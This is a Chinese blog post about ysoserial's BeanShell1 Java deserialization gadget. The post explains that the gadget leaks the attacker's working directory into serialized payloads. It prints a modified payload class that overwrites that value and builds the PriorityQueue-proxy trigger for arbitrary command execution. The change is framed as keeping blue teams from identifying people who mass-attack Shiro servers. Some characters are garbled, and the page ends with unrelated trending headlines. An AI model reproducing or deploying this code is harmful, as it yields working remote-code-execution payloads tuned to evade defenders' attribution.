
有一個gadget正在泄露你的ID
0x01 背景
在Java反序列化漏洞炙手可熱的當下,許多自動化工具都在使用ysoserial的gadget。而這些gadget當中,有一個gadget正在偷偷泄露你的id —?BeanShell1
BeanShell1泄露當前運行路徑
這意味著經常使用shiro批量爆破gadget工具的小伙伴,藍隊同學可能解密下paylaod就能得到你的id了。
0x02 定位信息泄露屬性
通過使用java-object-searcher搜索,找到敏感信息存儲在bsh.NameSpace
類的variables
屬性中。
存儲當前運行路徑的屬性
通過閱讀該類代碼,發(fā)現(xiàn)只有setTypedVariable
方法對variables
進行put
操作,在該處下斷點。
重新調式,看到當前運行路徑
被put進來后,順著調用堆棧往上分析。發(fā)現(xiàn)BeanShell1
在Interpreter
對象初始化時,調用bsh.Interpreter#initRootSystemObject
設置了bsh.cwd
值為當前運行路徑
,最終它被保存到了序列化數(shù)據(jù)中。
獲取當前運行路徑
0x03 構造干凈的BeanShell1
既然Interpreter
對象通過setu
方法存儲了敏感信息,那么我們同樣可以調用該方法將敏感信息覆蓋掉,防止信息泄露。
所以要構造一個干凈的BeanShell1 gadget,只需要在Interpreter
對象創(chuàng)建后反射調用setu
方法覆蓋bsh.cwd
值為.
(第13-15行代碼)即可。
@SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({ "org.beanshell:bsh:2.0b5" }) @Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711}) public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> { public PriorityQueue getObject(String command) throws Exception { // BeanShell payload String payload = BeanShellUtil.getPayload(command); // Create Interpreter Interpreter i = new Interpreter(); /***** 覆蓋bsh.cwd,清空user.dir,防止信息泄露 *****/ Method setu = i.getClass().getDeclaredMethod("setu",new Class[]{String.class,Object.class}); setu.setAccessible(true); setu.invoke(i,new Object[]{"bsh.cwd","."}); /***********************************************/ // Evaluate payload i.eval(payload); // Create InvocationHandler XThis xt = new XThis(i.getNameSpace(), i); InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); // Create Comparator Proxy Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler); // Prepare Trigger Gadget (will call Comparator.compare() during deserialization) final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator); Object[] queue = new Object[] {1,1}; Reflections.setFieldValue(priorityQueue, "queue", queue); Reflections.setFieldValue(priorityQueue, "size", 2); return priorityQueue; } }
目前已經給ysoserial
項目pr,等待官方修復。當然大家也可以使用我二次開發(fā)的ysoserial-for-woopecker。
給官方提的pr
[超站]友情鏈接:
四季很好,只要有你,文娛排行榜:https://www.yaopaiming.com/
關注數(shù)據(jù)與安全,洞悉企業(yè)級服務市場:https://www.ijiandao.com/

隨時掌握互聯(lián)網(wǎng)精彩
- 1 看總書記關心的清潔能源這樣發(fā)電 7904468
- 2 今年最強臺風來襲 7807854
- 3 澳加英宣布承認巴勒斯坦國 7711994
- 4 長春航空展這些“首次”不要錯過 7617876
- 5 43歲二胎媽媽患阿爾茨海默病 7521133
- 6 iPhone 17橙色斜挎掛繩賣斷貨 7428649
- 7 警方通報于朦朧墜亡 3人造謠被查處 7329117
- 8 女兒發(fā)現(xiàn)父親500多萬遺產用于保健 7234368
- 9 三所“零近視”小學帶來的啟示 7143999
- 10 劉強東“10年1元年薪”之約到期 7041642